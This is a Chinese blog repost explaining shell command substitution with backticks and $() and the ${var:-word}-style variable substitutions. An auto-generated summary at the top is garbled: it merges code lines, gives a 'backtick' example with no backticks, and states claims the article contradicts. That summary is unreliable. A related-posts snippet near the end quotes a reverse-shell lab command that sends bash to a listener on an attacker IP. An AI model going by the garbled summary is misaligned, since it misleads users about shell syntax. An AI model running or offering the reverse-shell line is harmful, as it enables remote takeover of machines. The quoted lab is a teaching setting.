[转帖]linux-shell-命令替换和变量替换

linux,shell,命令,替换,变量 · 浏览次数 : 0

小编点评

**命令替换** **方法一:反引号** ```sh variable=`commands`variable=$(commands)` ``` **方法二:$()** ```sh variable=$(commands) ``` **区别** * `$()` 允许执行嵌套命令。 * `=` 允许使用变量替换。 * `${variable}` 与 `${variable:-word}` 允许指定变量的默认值。 **使用场景** * 嵌套命令 * 使用变量替换 * 确保变量已定义 **示例** ```sh # 使用反引号 name="John Doe" echo "Hello, ${name}!" # 使用 $() name="John Doe" echo "Hello, ${name}!" ``` **注意** * 在使用 `$()` 时,需要将变量名和命令串在一起。 * `$()` 支持嵌套命令。 * `$()` 在所有类 Unix 系统中都支持。

正文

https://www.muzhuangnet.com/show/84054.html

 


本文摘自PHP中文网,作者步履不停,侵删。

 

命令替换$() ``

1

Shell 命令替换是指将命令的输出结果赋值给某个变量

Shell 中有两种方式可以完成命令替换,一种是反引号 ,一种是$(),使用方法如下:

1

2

variable=`commands`

variable=$(commands)

其中,variable 是变量名,commands 是要执行的命令。commands 可以只有一个命令,也可以有多个命令,多个命令之间以分号;分隔。

1

2

a=`expr 1 + 1`

echo $a

$( )与``区别

1

2

3

4

5

在操作上,这两者都是达到相应的效果,但是建议使用$( ),理由如下:

 

1.``很容易''搞混乱,尤其对初学者来说。

2.在多层次的复合替换中,``必须要额外的转义字符处理(反斜线),而$( )比较直观。

3.$( )的弊端是,并不是所有的类unix系统都支持这种方式,但反引号是肯定支持的。

变量替换 ${}

1

2

3

4

5

6

7

8

9

10

11

12

变量替换

变量替换可以根据变量的状态(是否为空、是否定义等)来改变它的值

 

可以使用的变量替换形式:

 

形式    说明

${var}    变量本来的值

${var:-word}    如果变量 var 为空或已被删除(unset),那么返回 word,但不改变 var 的值。

${var:=word}    如果变量 var 为空或已被删除(unset),那么返回 word,并将 var 的值设置为 word。

${var:?message}    如果变量 var 为空或已被删除(unset),那么将消息 message 送到标准错误输出,可以用来检测变量 var 是否可以被正常赋值。

若此替换出现在Shell脚本中,那么脚本将停止运行。

${var:+word}    如果变量 var 被定义,那么返回 word,但不改变 var 的值。

更多Linux相关技术文章,请访问Linux教程栏目进行学习!

与[转帖]linux-shell-命令替换和变量替换相似的内容:

[转帖]linux-shell-命令替换和变量替换

https://www.muzhuangnet.com/show/84054.html 本文摘自PHP中文网,作者步履不停,侵删。 命令替换$() `` 1 Shell 命令替换是指将命令的输出结果赋值给某个变量 Shell 中有两种方式可以完成命令替换,一种是反引号 ,一种是$(),使用方法如下:

[转帖]Shell编程之免交互

目录 交互的概念与Linux中的运用Here Document 免交互tee命令重定向输出加标准输出支持变量替换多行注释Expect实例操作免交互预设值修改用户密码创建用户并设置密码实现 ssh 自动登录 交互的概念与Linux中的运用 交互:当计算机播放某多媒体程序的时候,编程人员可以发出指令控制

[转帖]Linux中EOF和Expect命令详解

一、EOF说明 Shell中通常将EOF与 << 结合使用,表示后续的输入作为子命令或子Shell的输入,直到遇到EOF为止,再返回到主调Shell。可以把EOF替换成其他东西,意思是把内容当作标准输入传给程序。 回顾一下< <的用法。当shell看到< <的时候,它就会知道下一个词是一个分界符。在

[转帖]Linux中最全shell命令&常用注意事项

在编辑linux脚本中不断的会用到复杂的脚本编辑,写文章记录。 Linux命令大全(手册) – 真正好用的Linux命令在线查询网站 目录 推荐书籍: Linux常用命令 Linux 常用命令 在linux shell脚本中root切换到普通用户执行脚本 Linux—shell中$(( ))、$(

[转帖]linux shell中 if else以及大于、小于、等于逻辑表达式介绍

https://www.jb51.net/article/34332.htm 在linux shell编程中,大多数情况下,可以使用测试命令来对条件进行测试,这里简单的介绍下,方便需要的朋友 比如比较字符串、判断文件是否存在及是否可读等,通常用"[]"来表示条件测试。注意:这里的空格很重要。要确保方

[转帖]Linux Shell:date日期时间操作

https://www.jianshu.com/p/cc9ebb212a8e 整理Linux Shell脚本中常用的日期操作,给予date命令,主要用法总结 获得当前日期,时间戳,date,date '+%s' 日期解析(字符串转日期,时间戳转日期)date -d 日期格式化输出,date '+%'

[转帖]linux-shell总结(没事一看)

https://blog.51cto.com/wangaimin/1895607 !脚本执行与调试 1、绝对路径执行,要求文件有执行权限 2、以sh命令执行,不要求文件有执行权限 3、.加空格或source命令执行,脚本将在当前shell中执行 4、检查脚本语法 bash -v test.sh 5、

[转帖]Linux之bash反弹shell原理浅析

环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击

[转帖]Linux之Shell 脚本执行三种方式

什么是Shell? Shell是用户与内核进行交互操作的一种接口,目前最流行的Shell称为bash ShellShell也是一门编程语言<解释型的编程语言>,即shell脚本一个系统可以存在多个shell,可以通过cat /etc/shells命令查看系统中安装的shell,不同的shell可能支

[转帖]linux 批量修改文件格式

将Windows上的shell脚本拷贝到Linux时,脚本的编码格式还是docs,需要改成unix才可执行,在文件不多的情况下可以直接手动更改,但是在脚本文件比较多的时候,手动改起来就太麻烦了,此时就可以使用shell命令批量来进行更改。 批量更改脚本如下: for i in `find . -ty